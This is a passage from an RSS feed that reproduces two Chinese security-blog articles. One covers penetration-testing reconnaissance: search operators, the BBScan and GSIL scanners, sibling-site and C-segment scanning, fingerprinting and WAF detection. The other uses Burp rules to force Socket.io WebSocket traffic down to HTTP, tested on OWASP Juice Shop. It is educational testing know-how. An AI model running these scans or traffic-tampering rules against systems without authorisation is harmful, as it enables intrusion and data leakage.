 &lt;pre&gt;  &lt;code&gt;definne //搜索某个词语的定义&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;filetype //搜索指定的文件类型&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;info //查找指定站点的一些基本信息&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;inurl //搜索包含关键词的URL&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;link //可以返回所有和baidu.com做了链接的URL&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;下面做几个演示    &lt;/p&gt;
 &lt;p&gt;下图将返回360.cn的一些分站&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="672" src="https://image.3001.net/images/20181124/1543072452_5bf96ac427e9a.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;下图返回了所有360.cn下的所有包含login关键词的URL      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="487" src="https://image.3001.net/images/20181124/1543072452_5bf96ac43c806.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;具体的用法你可以自己开动脑经组合使用，这里就不多做演示了。&lt;/p&gt;
 &lt;h3&gt;BBscan  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;BBscan是一款信息泄漏批量扫描脚本。它是依旧还是由lijiejie大佬用python写的安全工具。&lt;/p&gt;
 &lt;p&gt;这是项目地址：  &lt;a href="https://github.com/lijiejie/BBScan"&gt;https://github.com/lijiejie/BBScan&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;在windows平台运行需要解决依赖问题&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;下图是安装依赖的过程&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="247" src="https://image.3001.net/images/20181124/1543072452_5bf96ac44191f.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;下面说一下使用示例&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;1. 扫描单个web服务 www.target.com &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;python BBScan.py  --host www.target.com &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;2. 扫描www.target.com和www.target.com/28下的其他主机 &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;python BBScan.py  --host www.target.com --network 28 &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;3. 扫描txt文件中的所有主机 &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;python BBScan.py -f wandoujia.com.txt &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;4. 从文件夹中导入所有的主机并扫描 &lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;python BBScan.py -d targets/  --browser&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;5. 如果是为了去各大src刷漏洞，可以考虑把所有域名保存到targets文件夹下，然后&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;python BBScan.py -d targets/ --network 30 &lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;下图是我利用BBscan扫描自己网站&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="143" src="https://image.3001.net/images/20181124/1543073782_5bf96ff61cec7.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;GSIL  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;GSIL是一款由python3写的从github上寻找敏感文件的安全工具。&lt;/p&gt;
 &lt;p&gt;项目地址：  &lt;a href="https://github.com/FeeiCN/GSIL"&gt;https://github.com/FeeiCN/GSIL&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;先安装一下依赖&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;然后需要给它进行配置&lt;/p&gt;
 &lt;p&gt;用法&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;# 启动测试&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;$ python3 gsil.py test&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;# 测试token有效性&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;$ python3 gsil.py --verify-tokens&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="388" src="https://image.3001.net/images/20181124/1543073782_5bf96ff6aed06.png!small" width="690"&gt;&lt;/img&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="405" src="https://image.3001.net/images/20181124/1543073782_5bf96ff6357b6.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;社交平台  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;在wooyun某一些案例中，有一些奇葩的思路，通过qq群信息泄露或者通过在线文档平台等等导致被攻击。&lt;/p&gt;
 &lt;p&gt;下图是通过QQ群查找找到的敏感文件以及账号和密码信息。    &lt;/p&gt;
 &lt;p&gt;下图是通过道客巴巴获取敏感信息,其他社交平台这里就不演示了，社交平台实在有点多。      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="521" src="https://image.3001.net/images/20181124/1543073783_5bf96ff717433.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;脆弱系统（网络空间）  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;网络空间搜索引擎的作用就是将互联网上公开的网络资产收集和整理，以此方便人们进行查阅和利用。我在网络空间可发现了不少企业的脆弱系统，未授权访问、SQL注入、弱口令等等都是存在的。&lt;/p&gt;
 &lt;p&gt;网络空间搜索引擎：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、Shodan &lt;/p&gt;
  &lt;p&gt; 2、FOFA &lt;/p&gt;
  &lt;p&gt; 3、Zoomeye&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;&lt;/h3&gt;
 &lt;h2&gt;旁站查询  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;什么是旁站  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;旁站是和目标网站在同一台服务器上的其它的网站。&lt;/p&gt;
 &lt;p&gt;   &lt;a href="http://s.tool.chinaz.com/same"&gt;在线工具&lt;/a&gt; k8旁站查询&lt;/p&gt;
 &lt;h3&gt;在线工具获取旁站  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图是通过站长之家获取同一个服务器下的站点信息&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="230" src="https://image.3001.net/images/20181124/1543074228_5bf971b4db6eb.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;k8查询旁站  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;这个工具是C#写的，因此需要.NET Framework v4.0&lt;/p&gt;
 &lt;p&gt;想要使用这款工具还需要申请必应API，我手工测试时是打不开KEY申请地址的，可能已经不行了，因此还是推荐使用在线工具查询吧。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="247" src="https://image.3001.net/images/20181124/1543074266_5bf971da9c649.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;C端查询  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;什么是C端  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;C端是和目标服务器ip处在同一个C段的其它服务器。&lt;/p&gt;
 &lt;h3&gt;查询方式  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt; 北极熊扫描器 Nmap&lt;/p&gt;
 &lt;h3&gt;北极熊扫描器扫C端  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;这是一款国人写的扫描器，不得不说这款扫描器误报率是真的高。通过一些实战我发现这款扫描器不错的是C端扫描，可以获取网站标题、服务环境、程序类型&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.xitongzhijia.net/soft/71774.html"&gt;下载地址&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;下图是使用北极熊扫描器扫C端的效果图&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="384" src="https://image.3001.net/images/20181124/1543074304_5bf972001ad14.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;Nmap扫C端  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图是Nmap扫描开放http服务的服务器的效果图&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="623" src="https://image.3001.net/images/20181124/1543074324_5bf972142b7c3.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;指纹信息  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;指纹是什么&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;指定路径下指定名称的js文件或代码。&lt;/p&gt;
  &lt;p&gt;指定路径下指定名称的css文件或代码。&lt;/p&gt;
  &lt;p&gt;&amp;lt;title&amp;gt;中的内容，有些程序标题中会带有程序标识&lt;/p&gt;
  &lt;p&gt;meta标记中带程序标识&amp;lt;meta name=”description”/&amp;gt;&amp;lt;meta name=”keywords”/&amp;gt;&amp;lt;meta name=”generator”/&amp;gt;&amp;lt;meta name=”author”/&amp;gt;&amp;lt;meta name=”copyright”/&amp;gt;中带程序标识。&lt;/p&gt;
  &lt;p&gt;display:none中的版权信息。&lt;/p&gt;
  &lt;p&gt;页面底部版权信息，关键字© Powered by等。&lt;/p&gt;
  &lt;p&gt;readme.txt、License.txt、help.txt等文件。&lt;/p&gt;
  &lt;p&gt;指定路径下指定图片文件，如一些小的图标文件，后台登录页面中的图标文件等，一般管理员不会修改它们。&lt;/p&gt;
  &lt;p&gt;注释掉的html代码中&amp;lt;!–&lt;/p&gt;
  &lt;p&gt;http头的X-Powered-By中的值，有的应用程序框架会在此值输出。&lt;/p&gt;
  &lt;p&gt;cookie中的关键字&lt;/p&gt;
  &lt;p&gt;robots.txt文件中的关键字&lt;/p&gt;
  &lt;p&gt;404页面&lt;/p&gt;
  &lt;p&gt;302返回时的旗标&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;指纹信息的重要性  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;通过识别目标网站所使用的CMS信息，可以帮助我们进一步了解渗透测试环境，可以利用已知的一些CMS漏洞来进行攻击。&lt;/p&gt;
 &lt;h3&gt;识别指纹方式  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、云悉 &lt;/p&gt;
  &lt;p&gt; 2、wappalyzer插件 &lt;/p&gt;
  &lt;p&gt; 3、whatweb工具&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;探测waf  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;WAF也称Web应用防护系统，Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。&lt;/p&gt;
 &lt;p&gt;原理：WAF识别大多基于Headers头信息。通过发送恶意的内容，对比响应，寻找数据包被拦截、拒绝或者检测到的标识。&lt;/p&gt;
 &lt;h3&gt;探测方式  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 手工（提交恶意数据） &lt;/p&gt;
  &lt;p&gt; 工具（WAFW00F、Nmap）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;我们可以通过工具判断，如果工具检测到WAF的存在，手工验证一下是否存在误报；如果工具检测不到WAF的存在，我们也可以通过手工来判断WAF到底存不存在。 &lt;/p&gt;
 &lt;h3&gt;Nmap探测WAF  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;Nmap探测WAF有两种脚本，一种是http-waf-detect，一种是http-waf-fingerprint。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="379" src="https://image.3001.net/images/20181124/1543074463_5bf9729fdb19c.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;WAFW00F探测WAF    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="456" src="https://image.3001.net/images/20181124/1543074478_5bf972aea4b34.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;手工探测WAF  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;在网址URL参数后面输入恶意数据，通过提交后被WAF拦截得知WAF信息。如下图&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="169" src="https://image.3001.net/images/20181124/1543074491_5bf972bb82974.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;天眼查  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;地址：  &lt;a href="https://www.tianyancha.com/"&gt;https://www.tianyancha.com/&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;天眼查是一款“都能用的商业安全工具”，根据用户的不同需求，实现了企业背景、企业发展、司法风险、经营风险、经营状况、知识产权方面等多种数据维度的检索。&lt;/p&gt;
 &lt;p&gt;下图以奇虎360为例&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="550" src="https://image.3001.net/images/20181124/1543074505_5bf972c960ace.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;企业信用信息公示系统  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;地址：  &lt;a href="http://www.gsxt.gov.cn/index.html"&gt;http://www.gsxt.gov.cn/index.html&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;下图以奇虎360为例&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="471" src="https://image.3001.net/images/20181124/1543074521_5bf972d9231ee.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;参考  &lt;br /&gt;&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;书籍《Kali Linux 渗透测试的艺术》&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://www.jianshu.com/p/dd3e77a42172"&gt;乙方渗透测试之信息搜集&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://segmentfault.com/a/1190000015895031#articleHeader2"&gt;渗透测试之信息搜集&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://bbs.ichunqiu.com/thread-29077-1-1.html"&gt;渗透测试之信息搜集&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：看不尽的尘埃，转载请注明来自 Freebuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 信息搜集</category>
      <guid isPermaLink="true">https://itindex.net/detail/59130-%E4%BF%A1%E6%81%AF-%E6%90%9C%E9%9B%86</guid>
      <pubDate>Mon, 24 Dec 2018 10:00:17 CST</pubDate>
    </item>
    <item>
      <title>看我如何分析并渗透WebSocket和Socket.io</title>
      <link>https://itindex.net/detail/59027-%E5%88%86%E6%9E%90-%E6%B8%97%E9%80%8F-websocket</link>
      <description>&lt;h2&gt;Websocket简介  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;WebSocket是一种允许浏览器和服务器建立单个TCP连接然后进行全双工异步通信的技术。由于它允许实时更新，而浏览器也无需向后台发送数百个新的HTTP polling请求，所以对于web程序来说，WebSocket非常流行。这对于测试者来说是不好的，因为对WebSocket工具的支持不像HTTP那样普遍，有时候会更加复杂。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;除了BurpSuite之外，还有一些其他工具可用于处理WebSocket。不过经过测试，它们都不怎么理想。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;Zed Attack Proxy (ZAP)&lt;/p&gt;
  &lt;p&gt;Pappy Proxy&lt;/p&gt;
  &lt;p&gt;Man-in-the-Middle Proxy (mitmproxy)&lt;/p&gt;
  &lt;p&gt;WebSocket/Socket.io (WSSiP)&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;如果你对使用Websocket进行渗透测试感兴趣，那么可以查看这篇文章：&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/"&gt;https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;而在这篇文章中主要会讲socket.io，它是一个很流行的JavaScript WebSockets库。在GitHub上它有多流行呢？—已经有超过41.4的star了。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.jpg" height="98" src="https://image.3001.net/images/20181121/1542781090_5bf4f8a2b808d.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在NPM上，它在WebSocket中排行第二和第三。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.jpg" height="594" src="https://image.3001.net/images/20181121/1542781119_5bf4f8bf2bc05.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;另外，OWASP   &lt;a href="https://www.owasp.org/index.php/OWASP_Juice_Shop_Project"&gt;Juice-Shop&lt;/a&gt;这样非常棒的项目也使用了socket.io库，所以本篇文章中将使用websocket.io进行演示。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://github.com/bkimminich/juice-shop/search?utf8=%E2%9C%93&amp;q=socket.io&amp;type="&gt;https://github.com/bkimminich/juice-shop/search?utf8=%E2%9C%93&amp;amp;q=socket.io&amp;amp;type=&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;在本文中，我们假设你已经熟悉使用BurpSuite测试Web应用程序，所涵盖的所有内容都可以在其社区版本中完成。不用多说，现在开始吧。&lt;/p&gt;
 &lt;p&gt;如果我们在浏览器中访问Juice-Shop，则可以在后台快速查看WebSocket流量。你也可以在BurpSuite中通过Proxy-&amp;gt; WebSockets历史记录找到。&lt;/p&gt;
 &lt;p&gt;由于协议的无状态特性，HTTP需要始终发送请求/响应对，而WebSocket是一种有状态协议。这意味着你可以从服务器获得任意数量的传出“请求”和任意数量的传入“响应”。由于底层连接是保持打开的TCP，因此客户端和服务器可以随时发送消息而无需等待对方。这就是为什么WebSocket历史记录与你习惯查看的HTTP历史记录存在差异。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.jpg" height="354" src="https://image.3001.net/images/20181121/1542781196_5bf4f90c4d7c9.jpg!small" width="652"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在此界面中，你可以看到发送和接收的单字节消息。但是，当应用程序执行一些有趣的操作时，你就可以看到具有更大负载的消息。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.jpg" height="160" src="https://image.3001.net/images/20181121/1542781218_5bf4f922e539f.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;BurpSuite具有测试WebSockets的能力，你可以实时进行拦截和修改，但WebSocket没有Repeater，Scanner或Intruder功能。默认情况下，如果要在BurpSuite中启用WebSocket拦截，你只需要打开主拦截就好了。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.jpg" height="790" src="https://image.3001.net/images/20181121/1542781244_5bf4f93ce8459.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.jpg" height="282" src="https://image.3001.net/images/20181121/1542781316_5bf4f9842200f.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这样一来，你就可以通过与HTTP相同的方式获取所截获的WebSocket消息。同时也可以在拦截窗口中编辑它们。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.jpg" height="169" src="https://image.3001.net/images/20181121/1542781366_5bf4f9b6bb2c4.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在WebSockets历史记录选项卡中可以查看已编辑的消息。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.jpg" height="282" src="https://image.3001.net/images/20181121/1542781392_5bf4f9d0eb03a.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;将WebSocket降级为HTTP&lt;/h2&gt;
 &lt;h3&gt;方法一：使用Socket.io的HTTP回退机制&lt;/h3&gt;
 &lt;p&gt;一个非常奇怪的点是，有时在HTTP历史记录中也能看到类似Websocket历史记录中的消息，回想一下，这些比较有趣的WebSocket消息需要解决记分板相关问题，下图显示了来自服务器的相同响应，但这次是在HTTP历史记录中。由此可以看出socket.io能够通过WebSocket或HTTP发送消息。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="9.jpg" height="221" src="https://image.3001.net/images/20181121/1542781437_5bf4f9fd4e994.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在所观察的请求中，传递的参数值有些为“websockets”，而有些则是“polling”。那么据推测，可能为了防止WebSockets在应用程序中不受支持或被阻止，才允许使用HTTP。&lt;/p&gt;
 &lt;p&gt;socket.io文档中解释了“polling”和“websockets”如何作为两个默认传输选项。它还介绍了如何通过将WebSockets指定为唯一传输方式来禁用polling。我认为反过来也是如此，我可以指定polling作为唯一的传输机制。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://socket.io/docs/client-api/#with-WebSocket-transport-only"&gt;https://socket.io/docs/client-api/#with-WebSocket-transport-only&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;通过搜索socket.io.js源代码，我找到了以下内容：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;this.transports=n.transports||[&amp;quot;polling&amp;quot;,&amp;quot;WebSocket&amp;quot;]&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="10.jpg" height="224" src="https://image.3001.net/images/20181121/1542781555_5bf4fa731bd48.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这行代码会将一个名为transports的内部变量设置为传入的值，如果传入的值为false/empty，则为默认的[“polling”，“websocket”]。这很符合我们对polling和WebSocket的默认传输的推测。现在通过Burp中的Proxy-&amp;gt;Options下设置匹配并替换规则来更改这些默认值，看看会发生什么。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="11.jpg" height="297" src="https://image.3001.net/images/20181121/1542781589_5bf4fa951dda7.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;成功了！添加规则后，刷新页面（需要启用Burp的内置规则“Require non-cached response”或执行强制刷新），数据不再通过WebSockets进行通信。进展不小，但是如果使用的应用程序已经提供了优先于我们的新默认值的传输选项呢？在这种情况下，我们可以修改匹配和替换规则。以下规则应适用于socket.io库的不同版本，并忽略应用程序开发人员所指定的任何传输方式。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="12.jpg" height="305" src="https://image.3001.net/images/20181121/1542781611_5bf4faab67e5c.jpg!small" width="604"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;以下是要使用的字符串，务必将其设置为正则表达式匹配：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;this\.transports=.*?\.transports\|\|\[&amp;quot;polling&amp;quot;,&amp;quot;websocket&amp;quot;]&lt;/p&gt;   &lt;p&gt;this.transports=[&amp;quot;polling&amp;quot;]&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;方法二：中止Websocket升级&lt;/h3&gt;
 &lt;p&gt;方法一只能用于于socket.io，可能会扩展到其他客户端库。但是，以下方法应该更加通用，因为它以WebSockets协议本身为目标。&lt;/p&gt;
 &lt;p&gt;经过分析，我发现WebSockets首先通过HTTP进行通信，以便与服务器协商并“升级”为WebSocket。其中重要的部分是：&lt;/p&gt;
 &lt;p&gt;1）客户端通过一些WebSocket特定header发送升级请求。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="13.jpg" height="429" src="https://image.3001.net/images/20181121/1542781663_5bf4fadfa4eb0.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2）服务器响应状态码为101 Switching Protocols，以及WebSocket header。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="14.jpg" height="260" src="https://image.3001.net/images/20181121/1542781687_5bf4faf7dc6e4.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3）通信转换到WebSocket，此特定会话不再使用HTTP。&lt;/p&gt;
 &lt;p&gt;WebSockets RFC文档第4.1节提供了有关如何中断此工作流的各种信息，以下是  &lt;a href="https://tools.ietf.org/html/rfc6455#section-4.1"&gt;https://tools.ietf.org/html/rfc6455#section-4.1&lt;/a&gt;的摘录，并附加了观点。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.如果从服务器收到的状态码不是101，则客户端响应HTTP   &lt;a href="https://tools.ietf.org/html/rfc2616"&gt;[RFC2616]&lt;/a&gt;。特别情况下，收到401状态码时，客户端可能会执行身份验证；服务器也可能会通过3xx状态码重定向客户端（但客户不需要遵循）等。否则按以下步骤进行。&lt;/p&gt;
  &lt;p&gt;2.如果响应缺少Upgrade header，或Upgrade header包含的值与“WebSocket”的ASCII不匹配，则客户端必须关闭WebSocket连接。&lt;/p&gt;
  &lt;p&gt;3.如果响应缺少Connection header，或Connection header包含的值与“WebSocket”的ASCII不匹配，则客户端必须关闭WebSocket连接。&lt;/p&gt;
  &lt;p&gt;4.如果响应缺少Sec-WebSocket-Accept header，或Sec-WebSocket-Accept header的值并非是由Sec-WebSocket-Key（作为字符串，未经base64解码）与字符串”258EAFA5-E914-47DA-95CA-C5AB0DC85B11″串联起来的字符串（忽略任何前导和尾随空格）的base64编码后的SHA-1值的话，则客户端必须关闭WebSocket连接。&lt;/p&gt;
  &lt;p&gt;5.如果响应中包括Sec-WebSocket-Extensions header，并且header要求使用的扩展并没有出现在客户端的握手消息中（服务器指示的扩展并非是客户端所请求的），则客户端必须关闭WebSocket连接。（解析header以确定请求哪些扩展的问题，将在   &lt;a href="https://tools.ietf.org/html/rfc6455#section-9.1"&gt;第9.1节&lt;/a&gt;中讨论）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;考虑到这些“连接必定被关闭”的条件，我想出了以下一套替换规则，这些规则应该包含了所有五个的失败条件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="15.jpg" height="78" src="https://image.3001.net/images/20181121/1542781777_5bf4fb516d08f.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;一旦使用这些规则，所有WebSocket升级请求都会失败。由于socket.io默认情况下无法使用HTTP，因此已经达到所需的效果。其他库的表现可能不同，并导致你正在测试的应用程序出错。但我们的工作就是让软件做一些不应该做的事情！&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="16.jpg" height="379" src="https://image.3001.net/images/20181121/1542781801_5bf4fb6923dbf.jpg!small" width="656"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;原始响应看起来像这样，并且会使客户端和服务器转换到WebSocket进行通信。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="17.jpg" height="144" src="https://image.3001.net/images/20181121/1542781821_5bf4fb7dc5a66.jpg!small" width="448"&gt;&lt;/img&gt;&lt;/p&gt;
